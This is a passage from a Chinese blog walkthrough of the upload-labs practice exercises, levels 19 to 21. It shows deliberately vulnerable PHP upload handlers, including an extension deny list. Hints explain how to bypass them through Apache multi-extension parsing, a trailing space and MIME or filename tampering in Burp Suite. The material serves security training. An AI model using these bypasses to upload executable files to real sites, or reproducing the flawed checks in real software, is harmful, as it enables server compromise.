  78.  
  79.     $ret = $this->checkSize();
  80.     if( $ret != 1 ){
  81.       return $this->resultUpload( $ret );    
  82.     }
  83.     
  84.     // if flag to check if the file exists is set to 1
  85.     
  86.     if( $this->cls_file_exists == 1 ){
  87.       
  88.       $ret = $this->checkFileExists();
  89.       if( $ret != 1 ){
  90.         return $this->resultUpload( $ret );    
  91.       }
  92.     }
  93.  
  94.     // if we are here, we are ready to move the file to destination
  95.  
  96.     $ret = $this->move();
  97.     if( $ret != 1 ){
  98.       return $this->resultUpload( $ret );    
  99.     }
  100.  
  101.     // check if we need to rename the file
  102.  
  103.     if( $this->cls_rename_file == 1 ){
  104.       $ret = $this->renameFile();
  105.       if( $ret != 1 ){
  106.         return $this->resultUpload( $ret );    
  107.       }
  108.     }
  109.     
  110.     // if we are here, everything worked as planned :)
  111.  
  112.     return $this->resultUpload( "SUCCESS" );
  113.   
  114.   }
  115. ......
  116. ......
  117. ...... 
  118. };

提示：

上传文件后，判断后缀名，移动文件进行重命名

Apache解析漏洞

1.php.zxc.zxc.zxc.zxc.zxc

Apache从右往左解析，解析不了继续解析下一个

上传phpinfo.php.7z

解题思路：

上传phpinfo.php.7z进行BP爆破

文件已经被上传了

Pass-20

代码：

  1. $is_upload = false;
  2. $msg = null;
  3. if (isset($_POST['submit'])) {
  4.     if (file_exists(UPLOAD_PATH)) {
  5.         $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
  6.  
  7.         $file_name = $_POST['save_name'];
  8.         $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
  9.  
  10.         if(!in_array($file_ext,$deny_ext)) {
  11.             $temp_file = $_FILES['upload_file']['tmp_name'];
  12.             $img_path = UPLOAD_PATH . '/' .$file_name;
  13.             if (move_uploaded_file($temp_file, $img_path)) { 
  14.                 $is_upload = true;
  15.             }else{
  16.                 $msg = '上传出错！';
  17.             }
  18.         }else{
  19.             $msg = '禁止保存为该类型文件！';
  20.         }
  21.  
  22.     } else {
  23.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
  24.     }
  25. }

提示：

上传文件直接空格绕过

上传文件后直接右键打开链接

Pass-21

代码：

  1. $is_upload = false;
  2. $msg = null;
  3. if(!empty($_FILES['upload_file'])){
  4.     //检查MIME
  5.     $allow_type = array('image/jpeg','image/png','image/gif');
  6.     if(!in_array($_FILES['upload_file']['type'],$allow_type)){
  7.         $msg = "禁止上传该类型文件!";
  8.     }else{
  9.         //检查文件名
  10.         $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
  11.         if (!is_array($file)) {
  12.             $file = explode('.', strtolower($file));
  13.         }
  14.  
  15.         $ext = end($file);
  16.         $allow_suffix = array('jpg','png','gif');
  17.         if (!in_array($ext, $allow_suffix)) {
  18.             $msg = "禁止上传该后缀文件!";
  19.         }else{
  20.             $file_name = reset($file) . '.' . $file[count($file) - 1];
  21.             $temp_file = $_FILES['upload_file']['tmp_name'];
  22.             $img_path = UPLOAD_PATH . '/' .$file_name;
  23.             if (move_uploaded_file($temp_file, $img_path)) {
  24.                 $msg = "文件上传成功！";
  25.                 $is_upload = true;
  26.             } else {
  27.                 $msg = "文件上传失败！";
  28.             }
  29.         }
  30.     }
  31. }else{
  32.     $msg = "请选择要上传的文件！";
  33. }

提示：

需要修改MIME TYPE类型，进行拼接

解题思路：

上传文件，BP抓包修改数据

文件上传成功后右键打开链接

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/从前慢现在也慢/article/detail/782329
推荐阅读
相关标签

Copyright © 2003-2013 www.wpsshop.cn 版权所有，并保留所有权利。

  

闽ICP备14008679号